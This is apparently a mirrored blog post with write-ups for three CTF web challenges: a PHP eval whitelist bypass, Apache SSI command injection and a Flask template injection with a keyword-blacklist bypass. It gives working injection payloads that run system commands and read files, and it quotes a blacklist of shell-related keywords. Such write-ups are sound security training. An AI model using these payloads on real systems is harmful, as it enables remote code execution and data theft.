[BT]BUUCTF刷题第25天(4.28)

news2025/4/8 0:39:06

第25天(共3题)

Web

[CISCN 2019 初赛]Love Math

在这里插入图片描述
打开网站就是一段泄露的源代码:

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

需要传递的是GET方法的c,对其过滤一些特殊字符并且限制长度小于80,而且只能用到白名单里包含的数学函数

这里我们考虑传进去一个新的GET方法,让这个方法执行我们的命令

首先需要构造_GET参数,我们需要一个函数能够把数字转成字符,也就是hex2bin函数

hex2bin函数可以用于将十六进制值的字符串转换为ASCII字符

但是白名单没有这个函数,但是有base_convert函数

base_convert 是 PHP 中用于在任意进制之间转换数字的函数。它的语法是 base_convert(number, frombase, tobase),其中 number 是要转换的数字,frombase 是数字原来的进制,tobase 是要转换到的进制。

通过该函数获得hex2bin(PHP中可以用字符串等效函数名):

base_convert(37907361743,10,36)            //37907361743是hex2bin是36进制转换到10进制的结果

也就是逆转换就能得到hex2bin了,接下来获得_GET

base_convert(37907361743,10,36)(dechex(1598506324))
//这里dechex将参数转为16进制,hex2bin再将16进制转换成_GET这几个字符

dechex函数用于将给定的十进制数转换为等效的十六进制数

直接用_GET是不行的,因为只有$_GET才能传递GET参数,因此这里尝试在_GET前加上$

由于

$abs = _GET$abs=base_convert(37907361743,10,36)(dechex(1598506324))

$$abs = $_GET		//abs是白名单里的一个函数,这里当作了变量名来使用

然后是完整的Payload:

?c=$abs=base_convert(37907361743,10,36)(dechex(1598506324));$$abs{1}($$abs{2})&1=system&2=ls

总共有3个参数:c、1 和 2(用数字作参数名是因为字母被过滤了,所以system和接下来的ls等命令都要用新的GET参数值传进去,这样才不用接受检查了)

上面的Payload翻译过来其实就是:

?c=$_GET[system]($_GET[ls]);
也就是
system(ls);

在这里插入图片描述

[BJDCTF2020]EasySearch

在这里插入图片描述

一个登录网页,查看题解得知有一个泄露的index.php.swp,访问即可查看

在这里插入图片描述

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

主要就是密码的MD5值的前六位需要等于6d0bc1

以下满足条件:
2020666
2305004
9162671

在这里插入图片描述

成功登录,在网络一栏发现新的内容:

在这里插入图片描述

public/89842b160800cfbe91016e437baacc9d95d242a1.shtml

shtml有Apache SSI 远程命令执行漏洞

shtml是一种用于SSI技术的文件——Server Side Include–SSI。
SSI是为WEB服务器提供的一套命令,这些命令只要直接嵌入到HTML文档的注释内容之中即可

访问http://5aea4255-5009-411e-b8e1-298b79c2dc53.node5.buuoj.cn:81/public/89842b160800cfbe91016e437baacc9d95d242a1.shtml

在这里插入图片描述
容易产生ssi注入,此处注入格式为:<!--#exec cmd="命令" -->

注意注入的页面不是这个shtml,这个页面是用来看回显内容的,要注入的话得从最开始的首页:

<!--#exec cmd="ls ../"-->

在这里插入图片描述

现在这个页面注入,然后按照刚刚的流程找到shtml的地址(每次注入地址都会改变),然后访问就能看到内容:

在这里插入图片描述

这里访问flag_990c66bf85a09c664f0b6741840499b2

<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->

在这里插入图片描述

拿到flag

在这里插入图片描述

[GYCTF2020]FlaskApp

在这里插入图片描述
是一个Flask的网站,猜测存在SSTI

提示里是:

在这里插入图片描述

加密页面只是简单的将输入内容进行Base64编码后返回

在这里插入图片描述

而解密页面则会将编码内容解码并且进行模板渲染输出,存在SSTI

解密页面随便输入123就爆出了错误页面(说明开启了Debug模式)

在这里插入图片描述

同时能看到app.py的一部分代码

@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)              //说明存在模板注入

尝试

{% for c in [].__class__.__base__.__subclasses__() %}
   {% if c.__name__=='catch_warnings' %}
    {{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
   {% endif %}
{% endfor %}

通过'__builtins__'下的open函数执行读取app.py的命令

builtins 内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等

注意要先加密再复制编码后的内容来解密

在这里插入图片描述

WAF代码:

def waf(str):
      black_list = [&#34;flag&#34;,&#34;os&#34;,&#34;system&#34;,&#34;popen&#34;,&#34;import&#34;,&#34;eval&#34;,&#34;chr&#34;,&#34;request&#34;, &#34;subprocess&#34;,&#34;commands&#34;,&#34;socket&#34;,&#34;hex&#34;,&#34;base64&#34;,&#34;*&#34;,&#34;?&#34;]
  for x in black_list :
      if x in str.lower() :
      return 1

过滤了flag、os、system、popen、eval

但是可以通过拼接的方式绕过检测

先查看当前目录:

{% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
       {{c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
    {% endif %}								  
{% endfor%}

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img-home.csdnimg.cn/images/20230724024159.png?origin_url='o'%2B's'&pos_id=img-bL2Sm4kh-1714321984228).listdir('/')}}{% endif %}{% endfor %}

发现了this_is_the_flag.txt

{% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
       {{c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}
    {% endif %}								  
{% endfor%}

拿到flag

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1631706.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

使用 xe2 调整 3dTileset 模型位置并获取模型矩阵 modelMatrix

使用 xe2 调整 3dTileset 模型位置并获取模型矩阵 modelMatrix Demo 获取改变后的模型的 modelMatrix src\examples\tile\edit\offset\index.html 目录下&#xff0c;设置 3dTileset 地址&#xff0c;拖动模型&#xff0c;监听 modelMatrix 变化。

Linux(Centos 7)环境下安装wget,并且更换阿里云镜像

Linux(Centos 7) Minimal 安装后&#xff0c;由于没有预装wget&#xff0c;在使用wget命令去下载安装相关应用时&#xff0c;提示&#xff1a;“wget: command not found” 先在Linux服务器窗口中&#xff0c;输入如下命令&#xff0c;检查Linux服务器有没有安装过wget。 rpm -…

ubuntu22.04 修改内核源码教程

1. 确认当前内核版本 uname -a 2. 去ubuntu官网下载对应版本内核源码 6.5.0-28.29 : linux package : Ubuntu (launchpad.net) 3. 准备编译环境 sudo apt-get install libncurses5-dev libssl-dev build-essential openssl flex bison libelf-dev tar -xzvf linux_6.5.…

【多模态大模型】AI对视频内容解析问答

文章目录 1. 项目背景2. 直接对视频进行解析进行AI问答&#xff1a;MiniGPT4-Video2.1 MiniGPT4-Video效果 3. 对视频抽帧为图片再进行AI问答3.1 视频抽帧3.2 图片AI问答3.2.1 阿里通义千问大模型 Qwen-vl-plus3.2.2 Moonshot 1. 项目背景 最近在做一个项目,需要使用AI技术对视…

Python 语音识别系列-实战学习-语音识别特征提取

Python 语音识别系列-实战学习-语音识别特征提取 前言1.预加重、分帧和加窗2.提取特征3.可视化特征4.总结 前言 语音识别特征提取是语音处理中的一个重要环节&#xff0c;其主要任务是将连续的时域语音信号转换为连续的特征向量&#xff0c;以便于后续的语音识别和语音处理任务…

qt学习篇---C++基础学习

本学习笔记学习下面视频总结&#xff0c;感兴趣可以去学习。讲的很详细 【北京迅为】嵌入式学习之QT学习篇_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV1tp4y1i7EJ/?spm_id_from333.337.search-card.all.click&vd_source8827cc0da16223b9f2ad8ae7111de9e2 目录 C…

Spring ai 快速入门及使用,构建你自己的ai

第一步&#xff1a;创建springboot项目 jdk必须是17及以上 1.8用不了 第二步 选择web和ai的依赖 选择openai 第三步 需要配置openai key 配置 分享个免费或的apikey的地方New API 会免费赠送1刀的token spring.application.namespringAI spring.ai.openai.base-urlhttps://ap…

封装形式,进化,DIP封装及键出方法

本文主要讨论芯片封装的主要形式&#xff0c;概念&#xff0c;以及芯片封装的演化&#xff0c;最后以DIP封装为例&#xff0c;分析键出方式。 1-IC封装的形式 IC 封装是指将组成电子器件的各个组成部分&#xff0c;包括半导体芯片、基板、管脚连接线等&#xff0c;按照要求布局…

【maven】pom文件详解和延伸知识

【maven】pom文件详解 【一】maven项目的pom文件详解【1】maven项目的目录结构【2】根元素和必要配置【3】父项目和parent元素【4】项目构建需要的信息【5】项目依赖相关信息&#xff08;1&#xff09;依赖坐标&#xff08;2&#xff09;依赖类型&#xff08;3&#xff09;依赖…

文件上传安全以及防止无限制文件上传

文件上传安全以及防止无限制文件上传 在网络应用中&#xff0c;文件上传是一项常见功能&#xff0c;用户可以通过它上传图片、文档或其他媒体文件。然而&#xff0c;如果没有适当的安全措施&#xff0c;文件上传功能可能成为安全漏洞的源头。本文将探讨文件上传过程中的安全风…

在网站源码后台增加响应式布局

一本教材上的网站源码&#xff0c;后台在手机上查看还是按照电脑的页面样式&#xff0c;不方便查看和发布新内容。教材上讲了响应式布局。对于页面结构简单的网站&#xff0c;可以利用响应式&#xff0c;使页面自动适用各种屏幕的分辨率。 今天在一个网站源码的后台使用了响应…

夸克网盘免费领取1TB空间的方法

夸克网盘背靠阿里这颗大树&#xff0c;经历了这两年的发展&#xff0c;用户规模早已是千万级体量&#xff0c;用户体验个人也觉得非常不错&#xff0c;并且在日臻完善的路上&#xff0c;必会越走越远。现在已经不能领取一个月会员&#xff0c;也没有了2TB免费空间的说法&#x…

基于python-flask技术的社区信息交流平台【数据库+15000文档】

预览 介绍 系统只需使用者通过电脑浏览器即可实现系统的访问和操作的WEB模式的信息化系统。为了保证系统数据的准确性、安全性的数据存储&#xff0c;系统应用MySQL数据库进行系统数据存储服务。根据对社区工作的深入调研和对社区居民的走访调查&#xff0c;详细分析整体系统的…

vue2左侧菜单栏收缩展开功能

目录 1. Main.vue页面代码 a. 修改侧边栏属性 b. 修改头部导航栏 c. 定义我们的变量 d. collapse函数 2. Header.vue页面代码 3. Aside.vue页面代码 vue2左侧菜单栏收缩展开目前是非常常见的&#xff0c;我们在日常开发过程中经常会碰到。这一小节我们就详细了解一下这个…

Spring IOC(二)

1. Bean的定义与获取 1.1 定义Bean 在Spring 中定义Bean的方式主要有三种&#xff1a; 1、基于XML配置文件的方式&#xff08;了解&#xff09;&#xff1a;通常会在配置文件中使用<bean>标签来定义Bean&#xff0c;并设置Bean的属性、依赖关系等信息。 2、基于注解的方…

基于Spring Boot的商务安全邮件收发系统设计与实现

基于Spring Boot的商务安全邮件收发系统设计与实现 开发语言&#xff1a;Java框架&#xff1a;springbootJDK版本&#xff1a;JDK1.8数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/idea 系统部分展示 已发送效果图&#xff0c;用户可以对已发送信息…

javaweb学习week6

javaweb学习 九.登录认证 5.登录后下发令牌 生成令牌&#xff1a;引入JWT令牌操作工具类&#xff0c;登录完成后&#xff0c;调用工具类生成JWT令牌&#xff0c;并返回 代码实例&#xff1a; 6.Filter入门 概念&#xff1a;Filter过滤器&#xff0c;是Javaweb三大组件之一…

构建本地大语言模型知识库问答系统

MaxKB 2024 年 4 月 12 日&#xff0c;1Panel 开源项目组正式对外介绍了其官方出品的开源子项目 ——MaxKB&#xff08;github.com/1Panel-dev/MaxKB&#xff09;。MaxKB 是一款基于 LLM&#xff08;Large Language Model&#xff09;大语言模型的知识库问答系统。MaxKB 的产品…

【生活日常】听歌识曲失败后,寻找一首曲子的心路历程……

Have a nice day :) 0x00 事情经过 叶子现在心情很是激动&#xff01;是这样的…… 昨天下午呢&#xff0c;去了家不错的咖啡厅&#xff0c;点了杯冰美式&#xff0c;很不错&#xff01; 而且店里的 Marshall 音箱也很带劲&#xff01; 然后我听到了种类似 "合成器节奏…

SpringMVC进阶(过滤器解决中文乱码,处理json以及文件上传下载)

文章目录 1.中文乱码处理1.引出问题1.恢复原来取消掉的属性绑定2.启动服务器&#xff0c;引出问题 2.自定义中文乱码过滤器1.MyCharacterFilter.java2.web.xml配置过滤器&#xff08;这个解决乱码的过滤器放到最前面&#xff09;3.结果展示 3.使用Spring过滤器处理&#xff08;…